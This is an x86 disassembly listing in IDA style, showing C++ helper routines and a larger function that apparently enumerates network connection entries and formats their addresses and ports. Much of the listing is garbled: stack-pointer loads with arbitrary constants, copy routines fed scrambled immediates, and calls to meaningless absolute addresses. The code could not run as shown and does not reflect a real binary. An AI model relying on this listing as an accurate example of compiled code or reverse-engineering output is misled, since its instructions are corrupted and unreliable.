		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4012D0
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401E01
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4014E7
		pop	esi
		add	esp, 0Ch
		retn
sub_417010	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417060	proc near		; CODE XREF: sub_401F0Fj
		push	esi
		mov	esi, ecx
		call	sub_4014C4
		mov	eax, esi
		pop	esi
		retn
sub_417060	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417080	proc near		; CODE XREF: sub_402077j
		mov	eax, [ecx]
		push	eax
		call	sub_40114F
		add	esp, 4
		retn
sub_417080	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4170A0	proc near		; CODE XREF: sub_401316j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40155F
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4170A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4170D0	proc near		; CODE XREF: sub_401663j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_402081
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4170D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417100	proc near		; CODE XREF: sub_40193Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43705C
		test	eax, eax
		jle	short loc_417117
		push	eax
		call	dword ptr ds:168F1Ah


loc_417117:				; CODE XREF: sub_417100+Ej
		mov	ecx, esi
		call	sub_401EC9
		pop	esi
		retn
sub_417100	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417130	proc near		; CODE XREF: _294ADE7B:0040123Aj
					; sub_4018E8j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40193D
		test	[esp+4+arg_0], 1
		jz	short loc_417148
		push	esi
		call	sub_430332
		add	esp, 4


loc_417148:				; CODE XREF: sub_417130+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_417130	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417160	proc near		; CODE XREF: sub_4016C2j
		mov	dword ptr [ecx], offset	off_43707C
		jmp	sub_401EC9
sub_417160	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_417180:				; CODE XREF: _294ADE7B:loc_401843j
					; _294ADE7B:00401FFFj
		push	esi
		mov	esi, ecx
		call	sub_4016C2
		test	byte ptr [esp+8], 1
		jz	short loc_417198
		push	esi
		call	sub_430332
		add	esp, 4


loc_417198:				; CODE XREF: _294ADE7B:0041718Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4171B0	proc near		; CODE XREF: sub_4017BCj
		mov	dword ptr [ecx], offset	off_437088
		add	ecx, 4
		jmp	sub_401023
sub_4171B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4171D0	proc near		; CODE XREF: sub_4013D9j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401785
		test	al, al
		jz	short loc_41722A


loc_4171E8:				; CODE XREF: sub_4171D0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401212
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401785
		test	al, al
		jnz	short loc_4171E8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41722A:				; CODE XREF: sub_4171D0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_4171D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417260	proc near		; CODE XREF: sub_401F64j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401C30
		retn	4
sub_417260	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417280	proc near		; CODE XREF: sub_4014E7j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401663
		test	al, al
		jz	short loc_4172DA


loc_417298:				; CODE XREF: sub_417280+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40126C
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FC3
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401663
		test	al, al
		jnz	short loc_417298
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4172DA:				; CODE XREF: sub_417280+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_417280	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417310	proc near		; CODE XREF: sub_401348j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401B36
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_417325
		mov	edi, esi


loc_417325:				; CODE XREF: sub_417310+11j
		push	esi
		call	sub_40155F
		mov	[eax], edi
		mov	edi, [esp+0Ch+arg_4]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41733A
		mov	edi, esi


loc_41733A:				; CODE XREF: sub_417310+26j
		push	esi
		call	sub_401A32
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_417310	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417360	proc near		; CODE XREF: sub_401EF1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_40139D
		retn	4
sub_417360	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417380	proc near		; CODE XREF: sub_40155Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_417380	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4173A0	proc near		; CODE XREF: sub_40114Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4173A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4173C0	proc near		; CODE XREF: sub_4014C4j
		mov	eax, ecx
		retn
sub_4173C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4173E0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401F5F
		mov	eax, esi
		pop	esi
		retn	4
sub_4173E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417410	proc near		; CODE XREF: sub_402081j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_417410	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417440	proc near		; CODE XREF: sub_401212j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40114A
		mov	ecx, eax
		call	sub_401B6D
		mov	esi, eax
		push	esi
		call	sub_40199C
		push	esi
		mov	ebx, eax
		call	sub_401B3B
		mov	ecx, [eax]
		push	ecx
		call	sub_40199C
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B3B
		push	esi
		mov	ebx, eax
		call	sub_40199C
		mov	eax, [eax]
		push	eax
		call	sub_401B3B
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4011E0
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4016BD
		push	esi
		mov	ecx, edi
		call	sub_401F64
		mov	eax, [edi+8]
		mov	edx, [esp+10h+arg_4]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+10h+arg_0]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_417440	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417500	proc near		; CODE XREF: sub_401C30j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_430332
		pop	ecx
		retn	8
sub_417500	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417520	proc near		; CODE XREF: sub_40114Aj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401DCF
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_417520	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417550	proc near		; CODE XREF: sub_401FC3j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40126C
		mov	ecx, eax
		call	sub_401D93
		mov	esi, eax
		push	esi
		call	sub_40155F
		push	esi
		mov	ebx, eax
		call	sub_401A32
		mov	ecx, [eax]
		push	ecx
		call	sub_40155F
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401A32
		push	esi
		mov	ebx, eax
		call	sub_40155F
		mov	eax, [eax]
		push	eax
		call	sub_401A32
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40114F
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4017F8
		push	esi
		mov	ecx, edi
		call	sub_401EF1
		mov	eax, [edi+8]
		mov	edx, [esp+10h+arg_4]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+10h+arg_0]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_417550	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417610	proc near		; CODE XREF: sub_401A32j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_417610	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417630	proc near		; CODE XREF: sub_401B36j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401BF4
		add	esp, 8
		retn	4
sub_417630	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417660	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_430332
		pop	ecx
		retn	8
sub_417660	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417680	proc near		; CODE XREF: sub_401F5Fj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_417680	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176A0	proc near		; CODE XREF: sub_40126Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401316
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4176A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176D0	proc near		; CODE XREF: sub_4016BDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_4176D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176F0	proc near		; CODE XREF: sub_4017F8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_4176F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417710	proc near		; CODE XREF: sub_401D93j
		mov	eax, [ecx]
		retn
sub_417710	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417770	proc near		; CODE XREF: sub_401F82j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_401190
		lea	ecx, [esi+4]
		call	sub_4016A9
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_437088
		call	sub_43034A
		add	esp, 4
		mov	[esp+18h+var_10], eax
		test	eax, eax
		mov	byte ptr [esp+18h+var_4], 1
		jz	short loc_4177DD
		mov	ecx, eax
		call	sub_401DD4
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_4177DD:				; CODE XREF: sub_417770+4Fj
		mov	ecx, [esp+18h+var_C]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
sub_417770	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417830	proc near		; CODE XREF: sub_40188Ej

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	65A3C6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4018DE
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4015F5
		add	esi, 4
		push	eax
		push	esi
		mov	esi, 0F968Fh
		call	sub_401523
		lea	ecx, [esp+28h+var_24]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+28h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_417830	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4178D0	proc near		; CODE XREF: sub_401104j

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4178D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_401726
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012B7
		test	eax, eax
		jnz	loc_417C8B
		push	ebp
		push	edi
		mov	esp, 6C3E5Ah
		push	361F2Dh
		lea	eax, [esp+2B8h+var_23C]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401622
		xor	ebp, ebp
		mov	ecx, eax
		mov	[esp+2B4h+var_4], ebp
		call	sub_4015F5
		push	eax
		call	dword ptr ds:1B0F96h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, esi
		call	sub_401726
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4017A8
		push	4D87CBh
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], edi
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_40138E
		test	eax, eax
		jz	short loc_417995
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_4179AB
; ---------------------------------------------------------------------------


loc_417995:				; CODE XREF: sub_4178D0+B9j
		push	26C3E5h
		lea	ecx, [esp+2B8h+var_274]
		call	sub_40138E
		test	eax, eax
		jz	short loc_4179AB
		mov	[esp+2B4h+var_2A0], edi


loc_4179AB:				; CODE XREF: sub_4178D0+C3j
					; sub_4178D0+D5j
		mov	ecx, [ebx+32h]
		mov	esi, 89361Fh
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_417A3A
		mov	esi, ds:dword_4B3AFC
		add	eax, 2
		push	offset byte_449B0F
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jz	short loc_417A3A
		mov	ecx, [ebx+32h]
		push	624D87h
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi
		add	esp, 8
		test	eax, eax
		jnz	loc_417C71


loc_417A3A:				; CODE XREF: sub_4178D0+135j
					; sub_4178D0+14Dj
		push	7126C3h
		mov	[esp+2B8h+var_294], 0C00h
		call	dword ptr ds:789361h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_4307B0
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_417C67
		lea	ebp, [esi+14h]


loc_417A76:				; CODE XREF: sub_4178D0+391j
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_417A8A
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_417C51


loc_417A8A:				; CODE XREF: sub_4178D0+1AAj
		mov	ax, [ebp-8]
		mov	esi, ds:dword_4B3C4C
		push	eax
		call	esi
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40141F
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40141F
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_417AEE
		sub	eax, 3
		jnz	short loc_417B14
		lea	edx, [esp+2B4h+var_25C]
		mov	esi, 8F7893h
		jmp	short loc_417AF7
; ---------------------------------------------------------------------------


loc_417AEE:				; CODE XREF: sub_4178D0+20Cj
		lea	edx, [esp+2B4h+var_25C]
		mov	edx, 9F789h


loc_417AF7:				; CODE XREF: sub_4178D0+21Cj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_417B14:				; CODE XREF: sub_4178D0+211j
		mov	esp, 0EC27DEh
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	esi, 4FF09Fh
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_417B3A
		xor	ebx, ebx


loc_417B3A:				; CODE XREF: sub_4178D0+266j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	27F84Fh
		push	53FC27h
		push	edx
		call	dword ptr ds:29FE13h
		mov	edi, ebx
		add	esp, 14h
		and	edi, 0FFFFh
		lea	eax, [esp+2B4h+var_118]
		push	edi
		push	eax
		push	54FF09h
		lea	ecx, [esp+2C0h+var_224]
		push	6A7F84h
		push	ecx
		call	dword ptr ds:753FC2h
		add	esp, 14h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_4013CF
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 2
		test	bx, bx
		jnz	short loc_417BD3
		cmp	eax, 1
		jz	loc_417C38
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_417BC6
		cmp	eax, esi
		jnz	short loc_417C38


loc_417BC6:				; CODE XREF: sub_4178D0+2F0j
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	3A9FE1h
		jmp	short loc_417BF9
; ---------------------------------------------------------------------------


loc_417BD3:				; CODE XREF: sub_4178D0+2DCj
		cmp	eax, 2
		jz	short loc_417C38
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_417BE7
		cmp	eax, edi
		jnz	short loc_417C38


loc_417BE7:				; CODE XREF: sub_4178D0+311j
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	1D4FF0h


loc_417BF9:				; CODE XREF: sub_4178D0+301j
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_401479
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_401479
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	edi, 0CB3A9Fh
		call	sub_4010FF


loc_417C38:				; CODE XREF: sub_4178D0+2E1j
					; sub_4178D0+2F4j ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 1
		call	sub_4011F9
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_417C51:				; CODE XREF: sub_4178D0+1B4j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_417A76


loc_417C67:				; CODE XREF: sub_4178D0+19Dj
		push	esi
		call	dword ptr ds:659D4Fh
		add	esp, 4


loc_417C71:				; CODE XREF: sub_4178D0+164j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_417C8D
; ---------------------------------------------------------------------------


loc_417C8B:				; CODE XREF: sub_4178D0+3Dj
		mov	al, 1


loc_417C8D:				; CODE XREF: sub_4178D0+3B9j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4178D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DB0	proc near		; CODE XREF: sub_40141Fj

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	72CEA7h
		push	ebx
		push	ebp
		call	dword ptr ds:796753h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_417E70
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_417E3E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_417E3E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		call	dword ptr ds:3CB3A9h
		test	eax, eax
		jz	short loc_417E70
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		call	dword ptr ds:1E59D4h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_417E3E:				; CODE XREF: sub_417DB0+5Aj
					; sub_417DB0+62j
		push	edi
		mov	ebp, 0A8F2CEh
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		call	dword ptr ds:547967h
		test	eax, eax
		pop	edi
		jnz	short loc_417E70
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		call	dword ptr ds:2A3CB3h
